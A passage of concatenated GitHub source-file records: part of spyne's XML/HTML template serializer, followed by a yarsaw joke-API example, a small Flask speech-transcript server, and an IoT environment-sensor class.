\\\n PushBase, XmlAttribute, AnyUri, XmlData, Any\n\nfrom spyne.protocol import OutProtocolBase\nfrom spyne.util.cdict import cdict\n\n_revancestors = lambda elt: list(reversed(tuple(elt.iterancestors())))\n\n_NODATA = type(\"_NODATA\", (object,), {})\n\n\ndef _prevsibls(elt, strip_comments, since=None):\n return reversed(list(_prevsibls_since(elt, strip_comments, since)))\n\n\ndef _prevsibls_since(elt, strip_comments, since):\n if since is elt:\n return\n\n for prevsibl in elt.itersiblings(preceding=True):\n if prevsibl is since:\n break\n\n if strip_comments and isinstance(elt, etree.CommentBase):\n if elt.text.startswith('[if ') and elt.text.endswith('[endif]'):\n pass\n else:\n continue\n\n yield prevsibl\n\n\ndef _set_identifier_prefix(obj, prefix, mrpc_id='mrpc', id_attr='id',\n data_tag='data', data_attr='data', attr_attr='attr',\n root_attr='root', tagbag_attr='tagbag'):\n obj.ID_PREFIX = prefix\n\n obj.MRPC_ID = '{}{}'.format(prefix, mrpc_id)\n obj.ID_ATTR_NAME = '{}{}'.format(prefix, id_attr)\n obj.DATA_TAG_NAME = '{}{}'.format(prefix, data_tag)\n obj.DATA_ATTR_NAME = '{}{}'.format(prefix, data_attr)\n obj.ATTR_ATTR_NAME = '{}{}'.format(prefix, attr_attr)\n obj.ROOT_ATTR_NAME = '{}{}'.format(prefix, root_attr)\n obj.TAGBAG_ATTR_NAME = '{}{}'.format(prefix, tagbag_attr)\n # FIXME: get rid of this. We don't want logic creep inside cloths\n obj.WRITE_CONTENTS_WHEN_NOT_NONE = '{}write-contents'.format(prefix)\n\n obj.SPYNE_ATTRS = {\n obj.ID_ATTR_NAME,\n obj.DATA_ATTR_NAME,\n obj.ATTR_ATTR_NAME,\n obj.ROOT_ATTR_NAME,\n obj.TAGBAG_ATTR_NAME,\n obj.WRITE_CONTENTS_WHEN_NOT_NONE,\n }\n\n\nclass ClothParserMixin(object):\n ID_PREFIX = 'spyne-'\n\n # these are here for documentation purposes. The are all reinitialized with\n # the call ta _set_identifier_prefix below the class definition\n ID_ATTR_NAME = 'spyne-id'\n DATA_TAG_NAME = 'spyne-data'\n DATA_ATTR_NAME = 'spyne-data'\n ATTR_ATTR_NAME = 'spyne-attr'\n ROOT_ATTR_NAME = 'spyne-root'\n TAGBAG_ATTR_NAME = 'spyne-tagbag'\n WRITE_CONTENTS_WHEN_NOT_NONE = 'spyne-write-contents'\n\n def set_identifier_prefix(self, what):\n _set_identifier_prefix(self, what)\n return self\n\n @classmethod\n def from_xml_cloth(cls, cloth, strip_comments=True):\n retval = cls()\n retval._init_cloth(cloth, cloth_parser=etree.XMLParser(),\n strip_comments=strip_comments)\n return retval\n\n @classmethod\n def from_html_cloth(cls, cloth, strip_comments=True):\n retval = cls()\n retval._init_cloth(cloth, cloth_parser=html.HTMLParser(),\n strip_comments=strip_comments)\n return retval\n\n @staticmethod\n def _strip_comments(root):\n for elt in root.iter():\n if isinstance(elt, etree.CommentBase):\n if elt.getparent() is not None:\n if elt.text.startswith('[if ') \\\n and elt.text.endswith('[endif]'):\n pass\n else:\n elt.getparent().remove(elt)\n\n def _parse_file(self, file_name, cloth_parser):\n cloth = etree.parse(file_name, parser=cloth_parser)\n return cloth.getroot()\n\n def _init_cloth(self, cloth, cloth_parser, strip_comments):\n \"\"\"Called from XmlCloth.__init__ in order to not break the dunder init\n signature consistency\"\"\"\n\n self._cloth = None\n self._root_cloth = None\n self.strip_comments = strip_comments\n\n self._mrpc_cloth = self._root_cloth = None\n\n if cloth is None:\n return\n\n if isinstance(cloth, string_types):\n cloth = self._parse_file(cloth, cloth_parser)\n\n if strip_comments:\n self._strip_comments(cloth)\n\n q = \"//*[@%s]\" % self.ROOT_ATTR_NAME\n elts = cloth.xpath(q)\n if len(elts) > 0:\n logger_c.debug(\"Using %r as root cloth.\", cloth)\n self._root_cloth = elts[0]\n else:\n logger_c.debug(\"Using %r as plain cloth.\", cloth)\n self._cloth = cloth\n\n self._mrpc_cloth = self._pop_elt(cloth, 'mrpc_entry')\n\n def _pop_elt(self, elt, what):\n query = '//*[@%s=\"%s\"]' % (self.ID_ATTR_NAME, what)\n retval = elt.xpath(query)\n if len(retval) > 1:\n raise ValueError(\"more than one element found for query %r\" % query)\n\n elif len(retval) == 1:\n retval = retval[0]\n next(retval.iterancestors()).remove(retval)\n return retval\n\n\n_set_identifier_prefix(ClothParserMixin, ClothParserMixin.ID_PREFIX)\n\n\nclass ToClothMixin(OutProtocolBase, ClothParserMixin):\n def __init__(self, app=None, mime_type=None, ignore_uncap=False,\n ignore_wrappers=False, polymorphic=True):\n super(ToClothMixin, self).__init__(app=app, mime_type=mime_type,\n ignore_uncap=ignore_uncap, ignore_wrappers=ignore_wrappers)\n\n self.polymorphic = polymorphic\n self.rendering_handlers = cdict({\n ModelBase: self.model_base_to_cloth,\n AnyXml: self.xml_to_cloth,\n Any: self.any_to_cloth,\n AnyHtml: self.html_to_cloth,\n AnyUri: self.any_uri_to_cloth,\n ComplexModelBase: self.complex_to_cloth,\n })\n\n def _get_elts(self, elt, tag_id=None):\n if tag_id is None:\n return elt.xpath('.//*[@*[starts-with(name(), \"%s\")]]' %\n self.ID_PREFIX)\n return elt.xpath('.//*[@*[starts-with(name(), \"%s\")]=\"%s\"]' % (\n self.ID_PREFIX, tag_id))\n\n def _get_outmost_elts(self, tmpl, tag_id=None):\n ids = set()\n\n # we assume xpath() returns elements in top to bottom (or outside to\n # inside) order.\n for elt in self._get_elts(tmpl, tag_id):\n if elt is tmpl: # FIXME: kill this\n logger_c.debug(\"Don't send myself\")\n continue # don't send myself\n\n if len(set((id(e) for e in elt.iterancestors())) & ids) > 0:\n logger_c.debug(\"Don't send grandchildren\")\n continue # don't send grandchildren\n\n if id(elt) in ids: # FIXME: this check should be safe to remove\n logger_c.debug(\"Don't send what's already been sent\")\n continue # don't send what's already been sent\n\n if self.ID_ATTR_NAME in elt.attrib:\n # Prevent primitive attrs like spyne-attr from interfering\n # with elt descent\n ids.add(id(elt))\n\n yield elt\n\n def _get_clean_elt(self, elt, what):\n query = '//*[@%s=\"%s\"]' % (self.ID_ATTR_NAME, what)\n retval = elt.xpath(query)\n if len(retval) > 1:\n raise ValueError(\"more than one element found for query %r\" % query)\n\n elif len(retval) == 1:\n retval = retval[0]\n del retval.attrib[self.ID_ATTR_NAME]\n return retval\n\n def _get_elts_by_id(self, elt, what):\n retval = elt.xpath('//*[@id=\"%s\"]' % what)\n logger_c.debug(\"id=%r got %r\", what, retval)\n return retval\n\n def _is_tagbag(self, elt):\n return self.TAGBAG_ATTR_NAME in elt.attrib\n\n @staticmethod\n def _methods(ctx, cls, inst):\n while cls.Attributes._wrapper and len(cls._type_info) > 0:\n cls, = cls._type_info.values()\n\n if cls.Attributes.methods is not None:\n for k, v in cls.Attributes.methods.items():\n is_shown = True\n if v.when is not None:\n is_shown = v.when(inst, ctx)\n\n if is_shown:\n yield k, v\n\n def _actions_to_cloth(self, ctx, cls, inst, template):\n if self._mrpc_cloth is None:\n logger_c.warning(\"missing 'mrpc_template'\")\n return\n\n for elt in self._get_elts(template, self.MRPC_ID):\n for k, v in self._methods(ctx, cls, inst):\n href = v.in_message.get_type_name()\n text = v.translate(ctx.locale, v.in_message.get_type_name())\n\n mrpc_template = deepcopy(self._mrpc_cloth)\n anchor = self._get_clean_elt(mrpc_template, 'mrpc_link')\n anchor.attrib['href'] = href\n\n text_elt = self._get_clean_elt(mrpc_template, 'mrpc_text')\n if text_elt is not None:\n text_elt.text = text\n else:\n anchor.text = text\n\n elt.append(mrpc_template)\n # mutable default ok because readonly\n def _enter_cloth(self, ctx, cloth, parent, attrib={}, skip=False,\n method=None, skip_dupe=False):\n \"\"\"Enters the given tag in the document by using the shortest path from\n current tag.\n\n 1. Moves up the tree by writing all tags so that the set of ancestors\n of the current tag are a subset of the ancestors of the parent tag\n 2. Writes all tags until hitting a direct ancestor, enters it, and\n keeps writing previous siblings of ancestor tags and entering\n ancestor tags until hitting the target tag.\n 3. Enters the target tag and returns\n\n There is no _exit_cloth because exiting from tags is done\n automatically with subsequent calls to _enter_cloth and finally to\n _close_cloth.\n\n :param ctx: A MethodContext instance\n :param cloth: The target cloth -- an ``lxml.etree._Element`` instance.\n :param parent: The target stream -- typically an\n ``lxml.etree._IncrementalFileWriter`` instance.\n :param attrib: A dict of additional attributes for the target cloth.\n :param skip: When True, the target tag is actually not entered.\n Typically used for XmlData and friends.\n :param method: One of ``(None, 'html', 'xml')``. When not ``None``,\n overrides the output method of lxml.\n :param skip_dupe: When ``False`` (the default) if this function is\n called repeatedly for the same tag, the tag is exited and reentered.\n This typically happens for types with ``max_occurs`` > 1\n (eg. arrays).\n \"\"\"\n\n logger_c.debug(\"entering %s %r nsmap=%r attrib=%r skip=%s method=%s\",\n cloth.tag, cloth.attrib, cloth.nsmap, attrib, skip, method)\n\n if not ctx.outprot_ctx.doctype_written:\n self.write_doctype(ctx, parent, cloth)\n\n tags = ctx.protocol.tags\n rootstack = ctx.protocol.rootstack\n assert isinstance(rootstack, oset)\n\n eltstack = ctx.protocol.eltstack\n ctxstack = ctx.protocol.ctxstack\n\n cureltstack = eltstack[rootstack.back]\n curctxstack = ctxstack[rootstack.back]\n\n if skip_dupe and len(cureltstack) > 0 and cureltstack[-1] is cloth:\n return\n\n cloth_root = cloth.getroottree().getroot()\n if not cloth_root in rootstack:\n rootstack.add(cloth_root)\n cureltstack = eltstack[rootstack.back]\n curctxstack = ctxstack[rootstack.back]\n\n assert rootstack.back == cloth_root\n\n while rootstack.back != cloth_root:\n self._close_cloth(ctx, parent)\n\n last_elt = None\n if len(cureltstack) > 0:\n last_elt = cureltstack[-1]\n\n ancestors = _revancestors(cloth)\n\n # move up in tag stack until the ancestors of both\n # source and target tags match\n while ancestors[:len(cureltstack)] != cureltstack:\n elt = cureltstack.pop()\n elt_ctx = curctxstack.pop()\n\n last_elt = elt\n if elt_ctx is not None:\n self.event_manager.fire_event((\"before_exit\", elt), ctx, parent)\n elt_ctx.__exit__(None, None, None)\n logger_c.debug(\"\\texit norm %s %s\", elt.tag, elt.attrib)\n if elt.tail is not None:\n parent.write(elt.tail)\n\n # unless we're at the same level as the relevant ancestor of the\n # target node\n if ancestors[:len(cureltstack)] != cureltstack:\n # write following siblings before closing parent node\n for sibl in elt.itersiblings(preceding=False):\n logger_c.debug(\"\\twrite exit sibl %s %r %d\",\n sibl.tag, sibl.attrib, id(sibl))\n parent.write(sibl)\n\n # write remaining ancestors of the target node.\n for anc in ancestors[len(cureltstack):]:\n # write previous siblings of ancestors (if any)\n prevsibls = _prevsibls(anc, self.strip_comments, since=last_elt)\n for elt in prevsibls:\n if id(elt) in tags:\n logger_c.debug(\"\\tskip anc prevsibl %s %r\",\n elt.tag, elt.attrib)\n continue\n\n logger_c.debug(\"\\twrite anc prevsibl %s %r 0x%x\",\n elt.tag, elt.attrib, id(elt))\n parent.write(elt)\n\n # enter the ancestor node\n kwargs = {}\n if len(cureltstack) == 0:\n # if this is the first node ever, initialize namespaces as well\n kwargs['nsmap'] = anc.nsmap\n\n anc_ctx = parent.element(anc.tag, anc.attrib, **kwargs)\n anc_ctx.__enter__()\n logger_c.debug(\"\\tenter norm %s %r 0x%x method: %r\", anc.tag,\n anc.attrib, id(anc), method)\n if anc.text is not None:\n parent.write(anc.text)\n\n rootstack.add(anc.getroottree().getroot())\n cureltstack = eltstack[rootstack.back]\n curctxstack = ctxstack[rootstack.back]\n cureltstack.append(anc)\n curctxstack.append(anc_ctx)\n\n # now that at the same level as the target node,\n # write its previous siblings\n prevsibls = _prevsibls(cloth, self.strip_comments, since=last_elt)\n for elt in prevsibls:\n if elt is last_elt:\n continue\n\n if id(elt) in tags:\n logger_c.debug(\"\\tskip cloth prevsibl %s %r\",\n elt.tag, elt.attrib)\n continue\n\n logger_c.debug(\"\\twrite cloth prevsibl %s %r\", elt.tag, elt.attrib)\n parent.write(elt)\n\n skip = skip or (cloth.tag == self.DATA_TAG_NAME)\n\n if skip:\n tags.add(id(cloth))\n if method is not None:\n curtag = parent.method(method)\n curtag.__enter__()\n else:\n curtag = None\n\n else:\n # finally, enter the target node.\n cloth_attrib = dict([(k, v) for k, v in cloth.attrib.items()\n if not k in self.SPYNE_ATTRS])\n\n cloth_attrib.update(attrib)\n\n self.event_manager.fire_event((\"before_entry\", cloth), ctx,\n parent, cloth_attrib)\n\n kwargs = {}\n if len(cureltstack) == 0:\n # if this is the first node ever, initialize namespaces as well\n kwargs['nsmap'] = cloth.nsmap\n if method is not None:\n kwargs['method'] = method\n curtag = parent.element(cloth.tag, cloth_attrib, **kwargs)\n curtag.__enter__()\n if cloth.text is not None:\n parent.write(cloth.text)\n\n rootstack.add(cloth.getroottree().getroot())\n cureltstack = eltstack[rootstack.back]\n curctxstack = ctxstack[rootstack.back]\n\n cureltstack.append(cloth)\n curctxstack.append(curtag)\n\n logger_c.debug(\"\")\n\n def _close_cloth(self, ctx, parent):\n rootstack = ctx.protocol.rootstack\n close_until = rootstack.back\n cureltstack = ctx.protocol.eltstack[close_until]\n curctxstack = ctx.protocol.ctxstack[close_until]\n\n for elt, elt_ctx in reversed(tuple(zip(cureltstack, curctxstack))):\n if elt_ctx is not None:\n self.event_manager.fire_event((\"before_exit\", elt), ctx, parent)\n elt_ctx.__exit__(None, None, None)\n logger_c.debug(\"exit %s close\", elt.tag)\n if elt.tail is not None:\n parent.write(elt.tail)\n\n for sibl in elt.itersiblings(preceding=False):\n logger_c.debug(\"write %s nextsibl\", sibl.tag)\n parent.write(sibl)\n if sibl.tail is not None:\n parent.write(sibl.tail)\n\n if elt is close_until:\n logger_c.debug(\"closed until %r, breaking out\", close_until)\n break\n\n del ctx.protocol.eltstack[close_until]\n del ctx.protocol.ctxstack[close_until]\n\n if len(rootstack) > 0:\n rootstack.pop()\n\n @coroutine\n def to_parent_cloth(self, ctx, cls, inst, cloth, parent, name,\n from_arr=False, **kwargs):\n cls_cloth = self.get_class_cloth(cls)\n if cls_cloth is not None:\n logger_c.debug(\"%r to object cloth\", cls)\n cloth = cls_cloth\n ctx.protocol[self].rootstack.add(cloth)\n\n ret = self.to_cloth(ctx, cls, inst, cloth, parent, '')\n if isgenerator(ret):\n try:\n while True:\n sv2 = (yield)\n ret.send(sv2)\n except Break as e:\n try:\n ret.throw(e)\n except (Break, StopIteration, GeneratorExit):\n pass\n\n @coroutine\n def to_root_cloth(self, ctx, cls, inst, cloth, parent, name):\n if len(ctx.protocol.eltstack) > 0:\n ctx.protocol[self].rootstack.add(cloth)\n\n cls_attrs = self.get_cls_attrs(cls)\n self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method)\n\n ret = self.start_to_parent(ctx, cls, inst, parent, name)\n if isgenerator(ret):\n try:\n while True:\n sv2 = (yield)\n ret.send(sv2)\n except Break as e:\n try:\n ret.throw(e)\n except (Break, StopIteration, GeneratorExit):\n pass\n\n # TODO: Maybe DRY this with to_parent?\n @coroutine\n def to_cloth(self, ctx, cls, inst, cloth, parent, name=None,\n from_arr=False, as_attr=False, as_data=False, **kwargs):\n\n prot_name = self.__class__.__name__\n\n if issubclass(cls, XmlAttribute):\n cls = cls.type\n as_attr = True\n\n elif issubclass(cls, XmlData):\n cls = cls.type\n as_data = True\n\n pushed = False\n if cloth is None:\n logger_c.debug(\"No cloth fround, switching to to_parent...\")\n ret = self.to_parent(ctx, cls, inst, parent, name, **kwargs)\n\n else:\n cls, _ = self.get_polymorphic_target(cls, inst)\n cls_attrs = self.get_cls_attrs(cls)\n\n inst = self._sanitize(cls_attrs, inst)\n\n # if instance is None, use the default factory to generate one\n _df = cls_attrs.default_factory\n if inst is None and callable(_df):\n inst = _df()\n\n # if instance is still None, use the default value\n if inst is None:\n inst = cls_attrs.default\n\n # if there's a subprotocol, switch to it\n subprot = cls_attrs.prot\n if subprot is not None and not (subprot is self):\n # we can't do this because subprotocols don't accept cloths.\n # so we need to enter the cloth, which make it too late to\n # set attributes.\n assert not as_attr, \"No subprot supported for fields \" \\\n \"to be serialized as attributes, use type casting with \" \\\n \"customized serializers in the current protocol instead.\"\n\n self._enter_cloth(ctx, cloth, parent,\n method=cls_attrs.method, skip=as_data)\n\n ret = subprot.subserialize(ctx, cls, inst, parent, name,\n as_attr=as_attr, as_data=as_data, **kwargs)\n\n # if there is no subprotocol, try rendering the value\n else:\n ret = None\n\n # try rendering the null value\n if inst is None:\n if cls_attrs.min_occurs > 0:\n attrs = {}\n if as_attr:\n # FIXME: test needed\n attrs[name] = ''\n\n self._enter_cloth(ctx, cloth, parent, attrib=attrs,\n method=cls_attrs.method)\n identifier = \"%s.%s\" % (prot_name, \"null_to_cloth\")\n logger_s.debug(\"Writing '%s' using %s type: %s.\", name,\n identifier, cls.get_type_name())\n parent.write(cloth)\n\n else:\n logger_s.debug(\"Skipping '%s' type: %s because empty.\",\n name, cls.get_type_name())\n self._enter_cloth(ctx, cloth, parent, skip=True,\n method=cls_attrs.method)\n\n elif as_data:\n # we only support XmlData of a primitive.,. is this a\n # problem?\n ret = self.to_unicode(cls, inst)\n if ret is not None:\n parent.write(ret)\n\n elif as_attr:\n sub_name = cls_attrs.sub_name\n if sub_name is None:\n sub_name = name\n attrs = {sub_name: self.to_unicode(cls, inst)}\n\n self._enter_cloth(ctx, cloth, parent, attrib=attrs,\n method=cls_attrs.method)\n\n else:\n # push the instance at hand to instance stack. this makes it\n # easier for protocols to make decisions based on parents of\n # instances at hand.\n pushed = True\n logger_c.debug(\"%s %r pushed %r %r\", R(\"#\"), self, cls, inst)\n ctx.outprot_ctx.inst_stack.append((cls, inst, from_arr))\n\n # try rendering the array value\n if not from_arr and cls.Attributes.max_occurs > 1:\n ret = self.array_to_cloth(ctx, cls, inst, cloth, parent,\n as_attr=as_attr, name=name)\n else:\n # try rendering anything else\n handler = self.rendering_handlers[cls]\n\n # disabled for performance reasons\n # identifier = \"%s.%s\" % (prot_name, handler.__name__)\n # from spyne.util.web import log_repr\n # logger_s.debug(\"Writing %s using %s for %s. Inst: %r\",\n # name, identifier, cls.get_type_name(),\n # log_repr(inst, cls, from_array=from_arr))\n\n ret = handler(ctx, cls, inst, cloth, parent, name=name,\n as_attr=as_attr)\n\n if isgenerator(ret):\n try:\n while True:\n sv2 = (yield)\n ret.send(sv2)\n except Break as e:\n try:\n ret.throw(e)\n except (Break, StopIteration, GeneratorExit):\n pass\n finally:\n if pushed:\n logger_c.debug(\"%s %r popped %r %r\", B(\"#\"),\n self, cls, inst)\n ctx.outprot_ctx.inst_stack.pop()\n\n else:\n if pushed:\n logger_c.debug(\"%s %r popped %r %r\", B(\"#\"), self, cls, inst)\n ctx.outprot_ctx.inst_stack.pop()\n\n def model_base_to_cloth(self, ctx, cls, inst, cloth, parent, name,\n **kwargs):\n cls_attrs = self.get_cls_attrs(cls)\n self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method)\n\n # FIXME: Does it make sense to do this in other types?\n if self.WRITE_CONTENTS_WHEN_NOT_NONE in cloth.attrib:\n logger_c.debug(\"Writing contents for %r\", cloth)\n for c in cloth:\n parent.write(c)\n\n else:\n parent.write(self.to_unicode(cls, inst))\n\n def xml_to_cloth(self, ctx, cls, inst, cloth, parent, name, **_):\n cls_attrs = self.get_cls_attrs(cls)\n self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method)\n if isinstance(inst, string_types):\n inst = etree.fromstring(inst)\n parent.write(inst)\n\n def any_to_cloth(self, ctx, cls, inst, cloth, parent, name, **_):\n cls_attrs = self.get_cls_attrs(cls)\n self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method)\n parent.write(inst)\n\n def html_to_cloth(self, ctx, cls, inst, cloth, parent, name, **_):\n cls_attrs = self.get_cls_attrs(cls)\n self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method)\n if isinstance(inst, string_types):\n inst = html.fromstring(inst)\n parent.write(inst)\n\n def any_uri_to_cloth(self, ctx, cls, inst, cloth, parent, name, **kwargs):\n cls_attrs = self.get_cls_attrs(cls)\n self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method)\n self.any_uri_to_parent(ctx, cls, inst, parent, name, **kwargs)\n\n @coroutine\n def complex_to_cloth(self, ctx, cls, inst, cloth, parent, name=None,\n as_attr=False, **kwargs):\n fti = cls.get_flat_type_info(cls)\n cls_attrs = self.get_cls_attrs(cls)\n\n # It's actually an odict but that's irrelevant here.\n fti_check = dict(fti.items())\n elt_check = set()\n\n attrib = self._gen_attrib_dict(inst, fti)\n self._enter_cloth(ctx, cloth, parent, attrib=attrib,\n method=cls_attrs.method)\n\n for elt in self._get_elts(cloth, self.MRPC_ID):\n self._actions_to_cloth(ctx, cls, inst, elt)\n\n if self._is_tagbag(cloth):\n logger_c.debug(\"%r(%r) IS a tagbag\", cloth, cloth.attrib)\n elts = self._get_elts(cloth)\n else:\n logger_c.debug(\"%r(%r) is NOT a tagbag\", cloth, cloth.attrib)\n elts = self._get_outmost_elts(cloth)\n\n # Check for xmldata after entering the cloth.\n as_data_field = cloth.attrib.get(self.DATA_ATTR_NAME, None)\n if as_data_field is not None:\n self._process_field(ctx, cls, inst, parent, cloth, fti,\n as_data_field, as_attr, True, fti_check, elt_check, **kwargs)\n\n for elt in elts:\n for k_attr, as_attr, as_data in ((self.ID_ATTR_NAME, False, False),\n (self.ATTR_ATTR_NAME, True, False),\n (self.DATA_ATTR_NAME, False, True)):\n field_name = elt.attrib.get(k_attr, None)\n if field_name is None:\n continue\n\n if elt.tag == self.DATA_TAG_NAME:\n as_data = True\n\n ret = self._process_field(ctx, cls, inst, parent, elt, fti,\n field_name, as_attr=as_attr, as_data=as_data,\n fti_check=fti_check, elt_check=elt_check, **kwargs)\n\n if isgenerator(ret):\n try:\n while True:\n sv2 = (yield)\n ret.send(sv2)\n except Break as e:\n try:\n ret.throw(e)\n except StopIteration:\n pass\n finally:\n # cf below\n if not (as_attr or as_data):\n break\n else:\n # this is here so that attribute on complex model doesn't get\n # mixed with in-line attr inside complex model. if an element\n # has spyne-id, all other attrs are ignored and are processed\n # by the object's serializer not its parent.\n if not (as_attr or as_data):\n break\n\n if len(fti_check) > 0:\n logger_s.debug(\"No element found for the following fields: %r\",\n list(fti_check.keys()))\n if len(elt_check) > 0:\n logger_s.debug(\"No field found for element the following \"\n \"elements: %r\", list(elt_check))\n\n def _process_field(self, ctx, cls, inst, parent,\n elt, fti, field_name, as_attr, as_data, fti_check, elt_check,\n **kwargs):\n field_type = fti.get(field_name, None)\n fti_check.pop(field_name, None)\n\n if field_type is None:\n logger_c.warning(\"elt id %r not in %r\", field_name, cls)\n elt_check.add(field_name)\n self._enter_cloth(ctx, elt, parent, skip=True)\n return\n\n cls_attrs = self.get_cls_attrs(field_type)\n if cls_attrs.exc:\n logger_c.debug(\"Skipping elt id %r because \"\n \"it was excluded\", field_name)\n return\n\n sub_name = cls_attrs.sub_name\n if sub_name is None:\n sub_name = field_name\n\n if issubclass(cls, Array):\n # if cls is an array, inst should already be a sequence type\n # (eg list), so there's no point in doing a getattr -- we will\n # unwrap it and serialize it in the next round of to_cloth call.\n val = inst\n else:\n val = getattr(inst, field_name, None)\n\n if as_data:\n self._enter_cloth(ctx, elt, parent, skip=True, skip_dupe=True,\n method=cls_attrs.method)\n\n return self.to_cloth(ctx, field_type, val, elt, parent,\n name=sub_name, as_attr=as_attr, as_data=as_data, **kwargs)\n\n @coroutine\n def array_to_cloth(self, ctx, cls, inst, cloth, parent, name=None,\n **kwargs):\n if isinstance(inst, PushBase):\n while True:\n sv = (yield)\n ret = self.to_cloth(ctx, cls, sv, cloth, parent,\n name=name, from_arr=True, **kwargs)\n if isgenerator(ret):\n try:\n while True:\n sv2 = (yield)\n ret.send(sv2)\n except Break as e:\n try:\n ret.throw(e)\n except StopIteration:\n pass\n\n else:\n sv = _NODATA\n\n for sv in inst:\n was_empty = False\n\n ret = self.to_cloth(ctx, cls, sv, cloth, parent,\n from_arr=True, name=name, **kwargs)\n if isgenerator(ret):\n try:\n while True:\n sv2 = (yield)\n ret.send(sv2)\n except Break as e:\n try:\n ret.throw(e)\n except StopIteration:\n pass\n\n if sv is _NODATA:\n # FIXME: what if min_occurs >= 1?\n # fake entering the cloth to prevent it from being flushed as\n # parent or sibling of another node later.\n self._enter_cloth(ctx, cloth, parent, skip=True)\n","repo_name":"arskom/spyne","sub_path":"spyne/protocol/cloth/to_cloth.py","file_name":"to_cloth.py","file_ext":"py","file_size_in_byte":33494,"program_lang":"python","lang":"en","doc_type":"code","stars":1114,"dataset":"github-code","pt":"70"} +{"seq_id":"4603600704","text":"import yarsaw\nimport asyncio # default\n\nclient = yarsaw.Client(\"RSA KEY HERE\", \"RapidAPI KEY HERE\")\n\n\nasync def main():\n joke = await client.get_joke() # get joke as a Joke object\n safe_joke = await client.get_safe_joke() # get a SFW joke as a Joke object\n print(yarsaw.format_joke(joke)) # format the joke\n print(\n yarsaw.format_joke(safe_joke, format_as=\"{setup} ... {punchline}\")\n ) # format the safe joke\n\n await client.disconnect() # disconnect the client at the end of the process\n\n\nasyncio.get_event_loop().run_until_complete(main())\n","repo_name":"BruceCodesGithub/yarsaw","sub_path":"examples/jokes.py","file_name":"jokes.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"20632304487","text":"import sys\nfrom datetime import datetime\nfrom flask import Flask, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import desc, func\nimport json\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///speech.db'\ndb = SQLAlchemy(app)\n\nclass Speech(db.Model):\n device_id = db.Column(db.Integer, primary_key = True)\n date = db.Column(db.DateTime, primary_key = True)\n text = db.Column(db.Text)\n\n\n\n@app.route('/', methods=['GET'])\ndef printer():\n print(\"called\")\n return json.dumps('Server is listening...')\n\n\n@app.route('/text', methods=['GET'])\ndef text_get():\n print(\"text_get\")\n device_id = request.headers[\"deviceId\"]\n req_date = request.headers[\"date\"]\n returnedText = Speech.query.filter(Speech.device_id.like(device_id), Speech.date.contains(req_date)).all()\n texts = map(lambda speech: speech.text, returnedText)\n res = ''\n for s in texts:\n res += s + '\\n'\n return json.dumps(res)\n\n\n@app.route('/text', methods=['POST'])\ndef text_post():\n print(\"text_post\")\n print(\"headers\", request.headers)\n print(\"json:\", request.json) # has right values! use this!\n data = Speech(device_id=request.get_json(force=True)[\"deviceId\"],date=datetime.now(), text=request.get_json(force=True)[\"text\"])\n db.session.add(data)\n db.session.commit()\n return json.dumps(True)\n\n\n@app.route('/text', methods=['DELETE'])\ndef text_delete():\n print(\"text_delete\")\n device_id = request.headers[\"deviceId\"]\n req_date = request.headers[\"date\"]\n returnedText = Speech.query.filter(Speech.device_id.like(device_id), Speech.date.contains(req_date))\n returnedText.delete(synchronize_session='fetch')\n db.session.commit()\n return json.dumps(True)\n\n\n@app.route('/devices', methods=['GET'])\ndef devices_get():\n print(\"devices_get\")\n returnedText = db.session.query(Speech.device_id, func.max(Speech.date)).filter().group_by(Speech.device_id).all()\n devices = {res[0]: str(res[1]) for res in returnedText}\n return json.dumps(devices)\n\n\n@app.route('/log', methods=['POST'])\ndef log_post():\n print(\"log_post\")\n print(request.json[\"deviceId\"])\n text_ = \"Log Level[%s]: device ID - %s, %s.\" % (request.json[\"severity\"], request.json[\"deviceId\"], request.json[\"text\"])\n print(text_)\n file = open('mic.log','a')\n file.writelines([text_])\n file.close()\n return json.dumps(True)\n\n\n\n@app.route('/connect', methods=['POST'])\ndef connect():\n print(\"connect\")\n print(request.json[\"deviceId\"])\n text_ = \"Log Level[INFO]: device ID - %s, connected.\" % (request.json[\"deviceId\"])\n print(text_)\n file = open('mic.log', 'a')\n file.writelines([text_])\n file.close()\n return json.dumps(True)\n\n\nif __name__ == '__main__':\n db.create_all()\n app.run(host='0.0.0.0', port=3002)\n","repo_name":"Goolue/SpeechRecorder","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7285280381","text":"from sensor import Sensor\n#import json\n\nclass Environment(Sensor):\n def __init__( self ):\n self.streamID = \"Environment\"\n # Specify the STREAM-ID as it's specified in your stream definition on the SeaaS platform\n Sensor.__init__(self, self.streamID)\n # Copy/Paste from web portal\n # Call API to get LATEST stream information .....\n self.sensorValue[self.streamID] = {}\n #Override if it exists\n self.hasCCINdefinition = True\n \n self.stream_def[\"title\"] = self.streamID\n self.stream_def[\"properties\"] = {\n self.streamID: {\n \"type\": \"object\",\n \"properties\": {\n \"temperature\": {\n \"type\": \"integer\"\n },\n \"humidity\": {\n \"type\": \"integer\"\n },\n \"airpressure\": {\n \"type\": \"integer\"\n }\n },\n \"additionalProperties\": False\n }\n }\n\n def getStreamDefinition(self):\n return self.stream_def\n\n def setTemperature(self, val):\n self.sensorValue[self.streamID]['temperature'] = val\n self._updateTimestamp()\n \n def setHumidity(self, val):\n self.sensorValue[self.streamID]['humidity'] = val\n self._updateTimestamp()\n \n def setAirpressure(self, val):\n self.sensorValue[self.streamID]['airpressure'] = val\n self._updateTimestamp()\n \n def getValue(self):\n return self.sensorValue\n \n def getValues(self):\n return self._buildValueDict()\n \n def clearValues(self):\n self.sensorValue[self.streamID] = {}\n self._updateTimestamp()\n\n\n","repo_name":"Enabling/WiPy-LoPy","sub_path":"SensorLib/enco_sensor.py","file_name":"enco_sensor.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"32146214727","text":"\"\"\"31: Run Single Test\n\nSpeed up testing by focusing on one 